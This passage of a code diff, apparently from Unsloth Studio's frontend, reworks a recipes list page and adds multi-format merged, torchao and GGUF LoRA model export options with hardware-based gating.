+                <EmptyMedia variant="icon">
+                  <HugeiconsIcon icon={CookBookIcon} className="size-5" />
+                </EmptyMedia>
+                <EmptyTitle>No recipes yet</EmptyTitle>
+                <EmptyDescription>
+                  Browse Learning Recipes below to understand how recipe
+                  workflows work.
+                </EmptyDescription>
+              </EmptyHeader>
+              <EmptyContent className="max-w-6xl items-stretch">
+                {/*<Button*/}
+                {/*  type="button"*/}
+                {/*  variant="secondary"*/}
+                {/*  className="mx-auto"*/}
+                {/*  onClick={() => setLearningDialogOpen(true)}*/}
+                {/*  disabled={isBusy}*/}
+                {/*>*/}
+                {/*  <HugeiconsIcon icon={CookBookIcon} className="size-4" />*/}
+                {/*  Start Tutorial*/}
+                {/*</Button>*/}
+                <LearningRecipeCards
+                  onSelect={(template) => {
+                    openLearningRecipe(template).catch(() => undefined);
+                  }}
+                  loadingTemplateId={loadingTemplateId}
+                />
+              </EmptyContent>
+            </Empty>
+          ) : (
+            <div className="mt-8 space-y-2">
+              {recipes.map((recipe) => (
+                <div
+                  key={recipe.id}
+                  className="flex items-center gap-3 rounded-xl border bg-card px-4 py-3"
+                >
+                  <button
+                    type="button"
+                    className="flex min-w-0 flex-1 items-center gap-3 text-left"
+                    onClick={() => openRecipe(recipe)}
+                  >
+                    <div className="flex size-9 shrink-0 items-center justify-center rounded-lg border border-border/70 bg-muted/20">
+                      <HugeiconsIcon
+                        icon={CookBookIcon}
+                        className="size-4 text-muted-foreground"
+                      />
+                    </div>
+                    <div className="min-w-0">
+                      <div className="flex items-center gap-2">
+                        <p className="truncate text-sm font-medium">
+                          {recipe.name}
+                        </p>
+                        {recipe.learningRecipeId ? (
+                          <Badge variant="outline">Learning Recipe</Badge>
+                        ) : null}
+                      </div>
+                      <p className="text-xs text-muted-foreground">
+                        Last updated {formatRelativeTime(recipe.updatedAt)} |
+                        Created {formatRelativeTime(recipe.createdAt)}
+                      </p>
+                    </div>
+                  </button>
+                  <Button
+                    type="button"
+                    variant="ghost"
+                    size="icon"
+                    className="size-8"
+                    onClick={() => {
+                      handleDeleteRecipe(recipe.id).catch(() => undefined);
+                    }}
+                    aria-label={`Delete ${recipe.name}`}
+                  >
+                    <HugeiconsIcon icon={Delete02Icon} className="size-4" />
+                  </Button>
+                </div>
+              ))}
+            </div>
+          )
+        ) : (
           <div className="mt-8 rounded-2xl border border-border/70 bg-card px-6 py-10 text-center">
             <p className="text-sm font-medium text-foreground">
               Loading recipes
@@ -448,85 +532,6 @@ export function DataRecipesPage(): ReactElement {
               Fetching your saved recipes and learning templates.
             </p>
           </div>
-        ) : recipes.length === 0 ? (
-          <Empty className="mt-8 border border-dashed border-border/70 dark:border-none">
-            <EmptyHeader>
-              <EmptyMedia variant="icon">
-                <HugeiconsIcon icon={CookBookIcon} className="size-5" />
-              </EmptyMedia>
-              <EmptyTitle>No recipes yet</EmptyTitle>
-              <EmptyDescription>
-                Browse Learning Recipes below to understand how recipe workflows
-                work.
-              </EmptyDescription>
-            </EmptyHeader>
-            <EmptyContent className="max-w-6xl items-stretch">
-              {/*<Button*/}
-              {/*  type="button"*/}
-              {/*  variant="secondary"*/}
-              {/*  className="mx-auto"*/}
-              {/*  onClick={() => setLearningDialogOpen(true)}*/}
-              {/*  disabled={isBusy}*/}
-              {/*>*/}
-              {/*  <HugeiconsIcon icon={CookBookIcon} className="size-4" />*/}
-              {/*  Start Tutorial*/}
-              {/*</Button>*/}
-              <LearningRecipeCards
-                onSelect={(template) => {
-                  openLearningRecipe(template).catch(() => undefined);
-                }}
-                loadingTemplateId={loadingTemplateId}
-              />
-            </EmptyContent>
-          </Empty>
-        ) : (
-          <div className="mt-8 space-y-2">
-            {recipes.map((recipe) => (
-              <div
-                key={recipe.id}
-                className="flex items-center gap-3 rounded-xl border bg-card px-4 py-3"
-              >
-                <button
-                  type="button"
-                  className="flex min-w-0 flex-1 items-center gap-3 text-left"
-                  onClick={() => openRecipe(recipe)}
-                >
-                  <div className="flex size-9 shrink-0 items-center justify-center rounded-lg border border-border/70 bg-muted/20">
-                    <HugeiconsIcon
-                      icon={CookBookIcon}
-                      className="size-4 text-muted-foreground"
-                    />
-                  </div>
-                  <div className="min-w-0">
-                    <div className="flex items-center gap-2">
-                      <p className="truncate text-sm font-medium">
-                        {recipe.name}
-                      </p>
-                      {recipe.learningRecipeId ? (
-                        <Badge variant="outline">Learning Recipe</Badge>
-                      ) : null}
-                    </div>
-                    <p className="text-xs text-muted-foreground">
-                      Last updated {formatRelativeTime(recipe.updatedAt)} |
-                      Created {formatRelativeTime(recipe.createdAt)}
-                    </p>
-                  </div>
-                </button>
-                <Button
-                  type="button"
-                  variant="ghost"
-                  size="icon"
-                  className="size-8"
-                  onClick={() => {
-                    handleDeleteRecipe(recipe.id).catch(() => undefined);
-                  }}
-                  aria-label={`Delete ${recipe.name}`}
-                >
-                  <HugeiconsIcon icon={Delete02Icon} className="size-4" />
-                </Button>
-              </div>
-            ))}
-          </div>
         )}
       </main>
 
diff --git a/studio/frontend/src/features/export/api/export-api.ts b/studio/frontend/src/features/export/api/export-api.ts
index d1b4e88a6d..be9767a24f 100644
--- a/studio/frontend/src/features/export/api/export-api.ts
+++ b/studio/frontend/src/features/export/api/export-api.ts
@@ -127,6 +127,8 @@ export async function loadCheckpoint(params: {
 export async function exportMerged(params: {
   save_directory: string;
   format_type?: string;
+  /** Compressed-tensors scheme alias (e.g. "fp8", "w4a16", "mxfp4"); overrides format_type. */
+  compressed_method?: string | null;
   push_to_hub?: boolean;
   repo_id?: string | null;
   hf_token?: string | null;
@@ -158,7 +160,8 @@ export async function exportBase(params: {
 
 export async function exportGGUF(params: {
   save_directory: string;
-  quantization_method: string;
+  /** A single GGUF quant method or a list (list produces multiple GGUFs from one model load). */
+  quantization_method: string | string[];
   push_to_hub?: boolean;
   repo_id?: string | null;
   hf_token?: string | null;
@@ -179,6 +182,10 @@ export async function exportLoRA(params: {
   repo_id?: string | null;
   hf_token?: string | null;
   private?: boolean;
+  /** Also convert the adapter to a GGUF LoRA file (llama.cpp `--lora`). */
+  gguf?: boolean;
+  /** GGUF LoRA output float type (f32/f16/bf16/q8_0/auto); only used when gguf=true. */
+  gguf_outtype?: string;
 }): Promise<ExportOperationResponse> {
   const response = await authFetch("/api/export/export/lora", {
     method: "POST",
diff --git a/studio/frontend/src/features/export/components/export-run-panel.tsx b/studio/frontend/src/features/export/components/export-run-panel.tsx
index 9e0edf7303..29ba5a703b 100644
--- a/studio/frontend/src/features/export/components/export-run-panel.tsx
+++ b/studio/frontend/src/features/export/components/export-run-panel.tsx
@@ -28,7 +28,11 @@ import {
 import { HugeiconsIcon } from "@hugeicons/react";
 import { useEffect, useRef, useState } from "react";
 import { useShallow } from "zustand/react/shallow";
-import { EXPORT_METHODS, type ExportMethod } from "../constants";
+import {
+  EXPORT_METHODS,
+  type ExportMethod,
+  findMergedFormat,
+} from "../constants";
 import type { ExportLogEntry } from "../api/export-api";
 import { getExportLogLineClass } from "../lib/log-style";
 import {
@@ -200,6 +204,9 @@ export function ExportRunPanel(props: ExportRunPanelProps) {
   const summaryMethodLabel = summary?.methodLabel ?? methodTitle;
   const summaryQuants = summary?.quantLevels ?? quantLevels;
   const summaryMethod = summary?.method ?? exportMethod;
+  const summaryFormats = (summary?.mergedFormats ?? []).map(
+    (v) => findMergedFormat(v)?.label ?? v,
+  );
   const showProgress = isExporting || isTerminal;
 
   return (
@@ -392,14 +399,32 @@ export function ExportRunPanel(props: ExportRunPanelProps) {
                 ? "Export finished and pushed to Hugging Face Hub."
                 : "Export finished successfully."}
             </span>
-            {run.result?.outputPath ? (
-              <code
-                className="select-all break-all font-mono text-[12px] text-foreground/90"
-                title={run.result.outputPath}
-              >
-                {run.result.outputPath}
-              </code>
-            ) : null}
+            {(() => {
+              // List every folder written; a multi-format merged run created one per format.
+              const paths = run.result?.outputPaths ?? [];
+              const items =
+                paths.length > 0
+                  ? paths
+                  : run.result?.outputPath
+                    ? [{ label: "", path: run.result.outputPath }]
+                    : [];
+              const showLabels = items.length > 1;
+              return items.map((o, i) => (
+                <div key={`${o.path}-${i}`} className="flex min-w-0 flex-col gap-0.5">
+                  {showLabels && o.label ? (
+                    <span className="text-xs text-emerald-700/80 dark:text-emerald-300/80">
+                      {o.label}
+                    </span>
+                  ) : null}
+                  <code
+                    className="select-all break-all font-mono text-[12px] text-foreground/90"
+                    title={o.path}
+                  >
+                    {o.path}
+                  </code>
+                </div>
+              ));
+            })()}
           </div>
         </div>
       )}
@@ -432,6 +457,14 @@ export function ExportRunPanel(props: ExportRunPanelProps) {
           <span>Export Method</span>
           <span className="font-medium text-foreground">{summaryMethodLabel}</span>
         </div>
+        {summaryMethod === "merged" && summaryFormats.length > 0 && (
+          <div className="flex justify-between gap-3">
+            <span>Formats</span>
+            <span className="font-medium text-foreground text-right">
+              {summaryFormats.join(", ")}
+            </span>
+          </div>
+        )}
         {summaryMethod === "gguf" && summaryQuants.length > 0 && (
           <div className="flex justify-between">
             <span>Quantizations</span>
diff --git a/studio/frontend/src/features/export/components/method-picker.tsx b/studio/frontend/src/features/export/components/method-picker.tsx
index 282b7c99f8..420a7f6146 100644
--- a/studio/frontend/src/features/export/components/method-picker.tsx
+++ b/studio/frontend/src/features/export/components/method-picker.tsx
@@ -61,13 +61,14 @@ export function MethodPicker({ value, onChange, disabledMethods = [], disabledRe
               key={m.value}
               type="button"
               disabled={isDisabled}
+              aria-pressed={selected}
               onClick={() => !isDisabled && onChange(m.value)}
               className={cn(
                 "flex items-start gap-3 rounded-xl p-4 text-left ring-1 transition-colors",
                 isDisabled
                   ? "ring-border opacity-40 cursor-not-allowed"
                   : selected
-                    ? "ring-2 ring-primary bg-primary/5"
+                    ? "ring-1 ring-ring-strong bg-primary/5"
                     : "ring-border hover:bg-muted/40",
               )}
             >
diff --git a/studio/frontend/src/features/export/components/quant-picker.tsx b/studio/frontend/src/features/export/components/quant-picker.tsx
index dadc959e55..289f6498ce 100644
--- a/studio/frontend/src/features/export/components/quant-picker.tsx
+++ b/studio/frontend/src/features/export/components/quant-picker.tsx
@@ -73,11 +73,12 @@ export function QuantPicker({ value, onChange, sizes }: QuantPickerProps) {
             <button
               key={q.value}
               type="button"
+              aria-pressed={active}
               onClick={() => toggle(q.value)}
               className={cn(
                 "inline-flex items-center gap-1.5 rounded-full px-3 py-1.5 text-xs font-medium ring-1 transition-colors",
                 active
-                  ? "ring-primary bg-primary/10 text-foreground"
+                  ? "ring-ring-strong bg-primary/10 text-foreground"
                   : "ring-border text-muted-foreground hover:text-foreground hover:ring-foreground/20",
               )}
             >
diff --git a/studio/frontend/src/features/export/constants.ts b/studio/frontend/src/features/export/constants.ts
index 058de1edc4..be9080ba14 100644
--- a/studio/frontend/src/features/export/constants.ts
+++ b/studio/frontend/src/features/export/constants.ts
@@ -55,34 +55,172 @@ export const QUANT_OPTIONS: {
   { value: "f16", label: "F16" },
 ];
 
-/** Merged-export precision formats. The compressed-tensors ones run llm-compressor for vLLM. */
-export type MergedFormat =
-  | "16-bit (FP16)"
-  | "FP8 (compressed-tensors)"
-  | "NVFP4 (compressed-tensors)";
+/**
+ * Merged-export precision formats, sorted by bit width. Three backends:
+ *   - "plain":      standard save (16-bit); `formatType` is the backend `format_type`.
+ *   - "compressed": llm-compressor compressed-tensors (vLLM), NVIDIA-only; `value` is the alias.
+ *   - "torchao":    portable FP8/INT8, no NVIDIA GPU needed; `value` is the alias.
+ * `common` entries are quick pills, the rest the "More formats" dropdown; `needsNvidia` entries
+ * are hidden on non-NVIDIA hardware.
+ */
+export type MergedBackend = "plain" | "compressed" | "torchao";
 
-export const MERGED_FORMATS: {
-  value: MergedFormat;
+export type MergedFormatOption = {
+  value: string;
   label: string;
+  bits: number;
+  backend: MergedBackend;
+  group: string;
+  common: boolean;
+  needsNvidia: boolean;
+  needsCalibration?: boolean;
   hint: string;
-}[] = [
+  /** Backend `format_type` for a "plain" save (unused for compressed/torchao). */
+  formatType?: string;
+};
+
+/** Kept as a string alias for back-compat with callers that typed the old union. */
+export type MergedFormat = string;
+
+export const MERGED_FORMATS: MergedFormatOption[] = [
+  // 16-bit
   {
-    value: "16-bit (FP16)",
+    value: "16-bit",
     label: "16-bit",
+    bits: 16,
+    backend: "plain",
+    group: "16-bit",
+    common: true,
+    needsNvidia: false,
     hint: "Full precision, runs anywhere.",
+    formatType: "16-bit (FP16)",
+  },
+  // 8-bit
+  {
+    value: "fp8",
+    label: "FP8",
+    bits: 8,
+    backend: "compressed",
+    group: "FP8",
+    common: true,
+    needsNvidia: true,
+    hint: "Dynamic per-token FP8 (W8A8) for vLLM. Data-free.",
   },
   {
-    value: "FP8 (compressed-tensors)",
-    label: "FP8 (vLLM)",
-    hint: "compressed-tensors FP8 for vLLM. Needs an NVIDIA GPU.",
+    value: "torchao_fp8",
+    label: "FP8 (portable)",
+    bits: 8,
+    backend: "torchao",
+    group: "Portable",
+    common: true,
+    needsNvidia: false,
+    hint: "Device-agnostic FP8 (torchao). Produces on any hardware; loads in vLLM.",
   },
   {
-    value: "NVFP4 (compressed-tensors)",
-    label: "NVFP4 (vLLM)",
-    hint: "compressed-tensors NVFP4 for vLLM. Needs an NVIDIA GPU; calibrates.",
+    value: "w8a8",
+    label: "INT8 (W8A8)",
+    bits: 8,
+    backend: "compressed",
+    group: "INT",
+    common: true,
+    needsNvidia: true,
+    hint: "8-bit weights and 8-bit activations for vLLM. Data-free.",
+  },
+  {
+    value: "torchao_int8",
+    label: "INT8 (portable)",
+    bits: 8,
+    backend: "torchao",
+    group: "Portable",
+    common: true,
+    needsNvidia: false,
+    hint: "Device-agnostic INT8 (torchao). Produces on any hardware; loads in vLLM.",
+  },
+  {
+    value: "fp8_static",
+    label: "FP8 Static",
+    bits: 8,
+    backend: "compressed",
+    group: "FP8",
+    common: false,
+    needsNvidia: true,
+    needsCalibration: true,
+    hint: "Static per-tensor FP8. Calibrates on data.",
+  },
+  {
+    value: "w8a16",
+    label: "INT8 (W8A16)",
+    bits: 8,
+    backend: "compressed",
+    group: "INT",
+    common: false,
+    needsNvidia: true,
+    hint: "8-bit weight-only. Data-free.",
+  },
+  {
+    value: "mxfp8",
+    label: "MXFP8",
+    bits: 8,
+    backend: "compressed",
+    group: "MXFP",
+    common: false,
+    needsNvidia: true,
+    hint: "Microscaling FP8. Needs a newer compressed-tensors stack.",
+  },
+  // 4-bit
+  {
+    value: "w4a16",
+    label: "INT4 (W4A16)",
+    bits: 4,
+    backend: "compressed",
+    group: "INT",
+    common: true,
+    needsNvidia: true,
+    hint: "4-bit weight-only (GPTQ-style) for vLLM. Data-free.",
+  },
+  {
+    value: "mxfp4",
+    label: "MXFP4",
+    bits: 4,
+    backend: "compressed",
+    group: "MXFP",
+    common: true,
+    needsNvidia: true,
+    hint: "Microscaling FP4 (W4A4) for vLLM. Data-free.",
+  },
+  {
+    value: "nvfp4",
+    label: "NVFP4",
+    bits: 4,
+    backend: "compressed",
+    group: "FP4",
+    common: true,
+    needsNvidia: true,
+    needsCalibration: true,
+    hint: "NVIDIA FP4 (W4A4) for vLLM. Calibrates on data.",
   },
 ];
 
+/** Look up a merged format option by its stable value. */
+export function findMergedFormat(value: string): MergedFormatOption | undefined {
+  return MERGED_FORMATS.find((f) => f.value === value);
+}
+
+/** Backend payload for one merged format: plain -> formatType, compressed/torchao -> the alias. */
+export function mergedFormatPayload(value: string): {
+  formatType: string;
+  compressedMethod: string | null;
+} {
+  const opt = findMergedFormat(value);
+  if (!opt || opt.backend === "plain") {
+    return {
+      formatType: opt?.formatType ?? "16-bit (FP16)",
+      compressedMethod: null,
+    };
+  }
+  return { formatType: "16-bit (FP16)", compressedMethod: opt.value };
+}
+
 /**
  * llama.cpp effective bits-per-weight per quant; GGUF size ~= fp16_bytes * bpw / 16.
  * K-quant values are published average bit-rates (Q2_K_L = Unsloth Q2_K + Q8_0
diff --git a/studio/frontend/src/features/export/export-page.tsx b/studio/frontend/src/features/export/export-page.tsx
index 7b5c6ec6d4..4cd7958fb8 100644
--- a/studio/frontend/src/features/export/export-page.tsx
+++ b/studio/frontend/src/features/export/export-page.tsx
@@ -2,8 +2,8 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { SectionCard } from "@/components/section-card";
+import { Alert, AlertDescription, AlertTitle } from "@/components/ui/alert";
 import { Button } from "@/components/ui/button";
-import { Switch } from "@/components/ui/switch";
 import {
   Combobox,
   ComboboxContent,
@@ -12,6 +12,14 @@ import {
   ComboboxItem,
   ComboboxList,
 } from "@/components/ui/combobox";
+import {
+  DropdownMenu,
+  DropdownMenuCheckboxItem,
+  DropdownMenuContent,
+  DropdownMenuLabel,
+  DropdownMenuSeparator,
+  DropdownMenuTrigger,
+} from "@/components/ui/dropdown-menu";
 import {
   InputGroup,
   InputGroupAddon,
@@ -26,31 +34,35 @@ import {
 } from "@/components/ui/select";
 import { Separator } from "@/components/ui/separator";
 import { Spinner } from "@/components/ui/spinner";
+import { Switch } from "@/components/ui/switch";
 import { Tabs, TabsList, TabsTrigger } from "@/components/ui/tabs";
 import {
   Tooltip,
   TooltipContent,
   TooltipTrigger,
 } from "@/components/ui/tooltip";
-import {
-  listLocalModels,
-  type LocalModelInfo,
-  useTrainingConfigStore,
-} from "@/features/training";
+import { usePlatformStore } from "@/config/env";
 import { useHubModelSearch } from "@/features/hub/hooks/use-hub-model-search";
 import { confirmRemoteCodeIfNeeded } from "@/features/security";
+import { GuidedTour, useGuidedTourController } from "@/features/tour";
+import {
+  type LocalModelInfo,
+  listLocalModels,
+  useTrainingConfigStore,
+} from "@/features/training";
 import { useDebouncedValue, useHfTokenValidation } from "@/hooks";
+import { useHardwareInfo } from "@/hooks/use-hardware-info";
+import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import {
   AlertCircleIcon,
-  ArrowDown01Icon,
   FolderSearchIcon,
   InformationCircleIcon,
   Key01Icon,
   PackageIcon,
   Search01Icon,
 } from "@hugeicons/core-free-icons";
-import { useSearch } from "@tanstack/react-router";
 import { HugeiconsIcon } from "@hugeicons/react";
+import { useSearch } from "@tanstack/react-router";
 import { useCallback, useEffect, useMemo, useRef, useState } from "react";
 import { useShallow } from "zustand/react/shallow";
 import type { ModelCheckpoints } from "./api/export-api";
@@ -63,25 +75,32 @@ import {
   type ExportMethod,
   GUIDE_STEPS,
   MERGED_FORMATS,
-  type MergedFormat,
+  type MergedFormatOption,
   QUANT_OPTIONS,
   buildQuantSizeLabels,
   getEstimatedSize,
+  mergedFormatPayload,
 } from "./constants";
+import { useExportSizeEstimate } from "./hooks/use-export-size-estimate";
 import {
   isExportPanelActive,
   useExportRuntimeStore,
 } from "./stores/export-runtime-store";
-import { useExportSizeEstimate } from "./hooks/use-export-size-estimate";
-import { GuidedTour, useGuidedTourController } from "@/features/tour";
 import { exportTourSteps } from "./tour";
 
-const SEARCH_INPUT_REASONS = new Set(["input-change", "input-paste", "input-clear"]);
+const SEARCH_INPUT_REASONS = new Set([
+  "input-change",
+  "input-paste",
+  "input-clear",
+]);
+
+// GGUF LoRA output float types (Q8_0 first / default). Q8_0 falls back to F16 per tensor for dims
+// not divisible by the block size (32); no "auto" - the choice is explicit.
+const LORA_GGUF_OUTTYPES = ["q8_0", "f16", "bf16", "f32"] as const;
 
 type SourceTab = "local" | "checkpoint" | "hf";
 type SourceMode = "checkpoint" | "model";
 
-
 function safePathSegment(
   value: string | null | undefined,
   fallback = "model",
@@ -105,11 +124,20 @@ function buildRelativeSaveDirectory(
   if (exportMethod === "gguf") {
     const rawName =
       sourceMode === "checkpoint"
-        ? checkpoint ?? selectedModelIdx ?? sourceBaseModelName
+        ? (checkpoint ?? selectedModelIdx ?? sourceBaseModelName)
         : sourceBaseModelName;
     return `${safePathSegment(rawName)}-GGUF`;
   }
-  return `${selectedModelIdx ?? "model"}/${checkpoint}`;
+  // Merged / LoRA: a checkpoint keeps the "<run>/<checkpoint>" layout under outputs.
+  if (sourceMode === "checkpoint" && selectedModelIdx && checkpoint) {
+    return `${selectedModelIdx}/${checkpoint}`;
+  }
+  // Local / HF source (no checkpoint): name from the model id to avoid "model/null".
+  const rawName =
+    sourceMode === "checkpoint"
+      ? (checkpoint ?? selectedModelIdx ?? sourceBaseModelName)
+      : sourceBaseModelName;
+  return `${safePathSegment(rawName)}-${exportMethod === "lora" ? "adapter" : "merged"}`;
 }
 
 function siblingGgufDirectory(sourcePath: string): string | null {
@@ -125,11 +153,12 @@ function siblingGgufDirectory(sourcePath: string): string | null {
       : trimmed.slice(0, slash);
   const name = trimmed.slice(slash + 1);
   if (!name) return null;
-  const sep = parent.endsWith("/") || parent.endsWith("\\")
-    ? ""
-    : trimmed.includes("\\")
-      ? "\\"
-      : "/";
+  const sep =
+    parent.endsWith("/") || parent.endsWith("\\")
+      ? ""
+      : trimmed.includes("\\")
+        ? "\\"
+        : "/";
   return `${parent}${sep}${name}_gguf`;
 }
 
@@ -177,9 +206,55 @@ export function ExportPage() {
   });
   // GGUF importance matrix (required for the IQ quants) and merged-export precision.
   const [useImatrix, setUseImatrix] = useState(false);
-  const [mergedFormat, setMergedFormat] = useState<MergedFormat>("16-bit (FP16)");
-  // IQ quants are imatrix-only, so force it on when one is selected; otherwise we would submit
-  // an IQ quant with no imatrix and llama.cpp would reject it.
+  // Merged precision: one or more MERGED_FORMATS values, exported in one run. Seed from a live run
+  // so navigating away and back (which remounts this page) keeps the selection, like exportMethod.
+  const [selectedFormats, setSelectedFormats] = useState<string[]>(() => {
+    const s = useExportRuntimeStore.getState();
+    return isExportPanelActive(s) &&
+      s.summary?.method === "merged" &&
+      s.summary.mergedFormats.length > 0
+      ? s.summary.mergedFormats
+      : ["16-bit"];
+  });
+  // LoRA-only export: optionally also emit a GGUF LoRA adapter, and its output float type.
+  const [loraAsGguf, setLoraAsGguf] = useState(false);
+  const [loraGgufOuttype, setLoraGgufOuttype] = useState<string>("q8_0");
+  // GGUF method: export the full model as GGUF quants, or (for an adapter checkpoint) a GGUF LoRA.
+  const [ggufTarget, setGgufTarget] = useState<"model" | "lora">("model");
+
+  const hardware = useHardwareInfo();
+  // GGUF LoRA conversion is rejected on the macOS / MLX path, so gate it out on a Mac host.
+  const isMacHost = usePlatformStore((s) => s.deviceType) === "mac";
+  // Real CUDA (not ROCm); gates the NVIDIA-only compressed-tensors formats.
+  const hasNvidia = hardware.cuda != null && hardware.rocm == null;
+  // Only gray out on an authoritative unsupported response; while unloaded the backend route guard
+  // stays authoritative. The backend supplies the precise reason; the fallback below is a backstop.
+  const exportUnsupported =
+    hardware.loaded && hardware.exportSupported === false;
+  const exportUnsupportedMessage =
+    hardware.exportUnsupportedMessage ??
+    "Export requires a supported accelerator (NVIDIA, AMD, or Intel GPU, or Apple Silicon) with PyTorch or MLX installed.";
+  const availableFormats = useMemo<MergedFormatOption[]>(
+    () =>
+      MERGED_FORMATS.filter((f) => {
+        // compressed-tensors (llm-compressor) is the NVIDIA path; shown only on an NVIDIA GPU.
+        if (f.backend === "compressed") return hasNvidia;
+        // Portable torchao is the fallback for hosts without the NVIDIA compressed path, i.e. a
+        // CPU / non-NVIDIA box. Hidden on NVIDIA (use compressed-tensors) and on macOS/MLX (the
+        // backend rejects quantized export there).
+        if (f.backend === "torchao") return !hasNvidia && !isMacHost;
+        // Plain 16-bit is available everywhere.
+        return true;
+      }),
+    [hasNvidia, isMacHost],
+  );
+  const toggleFormat = useCallback((value: string) => {
+    setSelectedFormats((prev) =>
+      prev.includes(value) ? prev.filter((v) => v !== value) : [...prev, value],
+    );
+  }, []);
+  // availableFormats already drops NVIDIA-only formats on other hardware, so no pruning needed.
+  // IQ quants are imatrix-only: force imatrix on when one is selected, else llama.cpp rejects it.
   const requiresImatrix = quantLevels.some(
     (q) => QUANT_OPTIONS.find((o) => o.value === q)?.imatrix,
   );
@@ -276,7 +351,9 @@ export function ExportPage() {
       .catch((error) => {
         if (controller.signal.aborted) return;
         setLocalModelsError(
-          error instanceof Error ? error.message : "Failed to load local models",
+          error instanceof Error
+            ? error.message
+            : "Failed to load local models",
         );
       })
       .finally(() => {
@@ -290,7 +367,7 @@ export function ExportPage() {
   const selectedModelData = useMemo(
     () =>
       selectedModelIdx != null
-        ? models.find((m) => m.name === selectedModelIdx) ?? null
+        ? (models.find((m) => m.name === selectedModelIdx) ?? null)
         : null,
     [models, selectedModelIdx],
   );
@@ -304,13 +381,17 @@ export function ExportPage() {
   const baseModelName = selectedModelData?.base_model ?? "—";
   const isAdapter = !!selectedModelData?.peft_type;
   const isQuantized = !!selectedModelData?.is_quantized;
+  // isAdapter / isQuantized come from the checkpoint's metadata and are stale in "model" source
+  // mode (a direct base export), so treat both as false outside checkpoint mode to avoid wrongly
+  // gating the methods.
+  const effectiveIsAdapter = sourceMode === "checkpoint" && isAdapter;
+  const effectiveIsQuantized = sourceMode === "checkpoint" && isQuantized;
   const loraRank = selectedModelData?.lora_rank ?? null;
   const trainingMethodLabel = selectedModelData?.peft_type
     ? "LoRA / QLoRA"
     : "Full Fine-tune";
-  const sourceBaseModelName = sourceMode === "model"
-    ? selectedSourceModel ?? "—"
-    : baseModelName;
+  const sourceBaseModelName =
+    sourceMode === "model" ? (selectedSourceModel ?? "—") : baseModelName;
 
   // For a full fine-tune checkpoint the weights live in the checkpoint dir
   // itself (its base_model may be a local/custom path that can't be sized), so
@@ -323,10 +404,19 @@ export function ExportPage() {
       }
     }
     return sourceBaseModelName;
-  }, [sourceMode, isAdapter, checkpointsForModel, checkpoint, sourceBaseModelName]);
+  }, [
+    sourceMode,
+    isAdapter,
+    checkpointsForModel,
+    checkpoint,
+    sourceBaseModelName,
+  ]);
 
   // Real (MoE-aware) fp16 size, used to scale the GGUF quant estimates.
-  const { fp16Bytes } = useExportSizeEstimate(sizeTargetModel, debouncedHfToken);
+  const { fp16Bytes } = useExportSizeEstimate(
+    sizeTargetModel,
+    debouncedHfToken,
+  );
   const quantSizeLabels = useMemo(
     () => buildQuantSizeLabels(fp16Bytes),
     [fp16Bytes],
@@ -416,25 +506,36 @@ export function ExportPage() {
     setCheckpoint(null);
   }, [selectedModelIdx]);
 
-  // For a ?run= deep link, default to the run's main checkpoint. Declared after
-  // the reset effect above so it runs last and isn't clobbered back to null.
+  // Default to the newest checkpoint when none is chosen (checkpoints are sorted newest-first).
+  // Declared after the reset effect above so it runs last and isn't clobbered back to null. Covers
+  // both a ?run= deep link and a plain finetune opened without an explicit checkpoint pick.
   useEffect(() => {
-    if (appliedRunRef.current == null) return;
-    if (appliedRunRef.current !== selectedModelIdx) return;
+    if (sourceMode !== "checkpoint") return;
     if (checkpoint != null || checkpointsForModel.length === 0) return;
     setCheckpoint(checkpointsForModel[0].display_name);
-  }, [selectedModelIdx, checkpoint, checkpointsForModel]);
+  }, [sourceMode, selectedModelIdx, checkpoint, checkpointsForModel]);
 
   // Auto-reset export method if incompatible with the selected model type
   useEffect(() => {
-    if (!isAdapter && (exportMethod === "merged" || exportMethod === "lora")) {
+    // Only LoRA needs a real adapter; Merged and GGUF work for non-PEFT base models too.
+    if (!effectiveIsAdapter && exportMethod === "lora") {
       setExportMethod(null);
     }
     // Quantized non-PEFT models can't export to any format
-    if (!isAdapter && isQuantized && exportMethod !== null) {
+    if (!effectiveIsAdapter && effectiveIsQuantized && exportMethod !== null) {
       setExportMethod(null);
     }
-  }, [isAdapter, isQuantized, exportMethod]);
+    // The GGUF LoRA target only applies to an adapter checkpoint on a non-Mac host.
+    if ((!effectiveIsAdapter || isMacHost) && ggufTarget !== "model") {
+      setGgufTarget("model");
+    }
+  }, [
+    effectiveIsAdapter,
+    effectiveIsQuantized,
+    exportMethod,
+    isMacHost,
+    ggufTarget,
+  ]);
 
   const handleSourceTabChange = useCallback((next: string) => {
     if (next === "checkpoint") {
@@ -442,7 +543,7 @@ export function ExportPage() {
     } else if (next === "hf" || next === "local") {
       setSourceMode("model");
       setModelSource(next);
-      setExportMethod("gguf");
+      // Don't force GGUF: Local / HF sources can export Merged too; a stale LoRA pick auto-resets.
     } else {
       return;
     }
@@ -492,7 +593,10 @@ export function ExportPage() {
       selectedSourceModel
     ) {
       const localModel = localMetaById.get(selectedSourceModel);
-      if (localModel && (localModel.source === "models_dir" || localModel.source === "custom")) {
+      if (
+        localModel &&
+        (localModel.source === "models_dir" || localModel.source === "custom")
+      ) {
         return siblingGgufDirectory(localModel.path) ?? relative;
       }
     }
@@ -508,10 +612,28 @@ export function ExportPage() {
     sourceMode,
   ]);
   const saveDirectory = customSaveDirectory?.trim() || defaultSaveDirectory;
+  // Each merged format uploads a full model to the repo root, so several to one repo would collide.
+  // GGUF method exporting an adapter checkpoint as a GGUF LoRA (vs full-model quants). Reuses the
+  // LoRA-adapter export path; no quant list needed.
+  const ggufAsLora =
+    exportMethod === "gguf" &&
+    ggufTarget === "lora" &&
+    effectiveIsAdapter &&
+    !isMacHost;
+
+  // Restrict a Hub merged export to a single format; multi-format stays available for local export.
+  const hubMultiFormat =
+    destination === "hub" &&
+    exportMethod === "merged" &&
+    selectedFormats.length > 1;
+
   const canExport = !!(
     selectedExportSource &&
     exportMethod &&
-    (exportMethod !== "gguf" || quantLevels.length > 0)
+    !exportUnsupported &&
+    !hubMultiFormat &&
+    (exportMethod !== "gguf" || ggufAsLora || quantLevels.length > 0) &&
+    (exportMethod !== "merged" || selectedFormats.length > 0)
   );
 
   const applyHfSourceModel = useCallback((value: string) => {
@@ -554,7 +676,14 @@ export function ExportPage() {
 
   useEffect(() => {
     setCustomSaveDirectory(null);
-  }, [checkpoint, exportMethod, modelSource, selectedModelIdx, selectedSourceModel, sourceMode]);
+  }, [
+    checkpoint,
+    exportMethod,
+    modelSource,
+    selectedModelIdx,
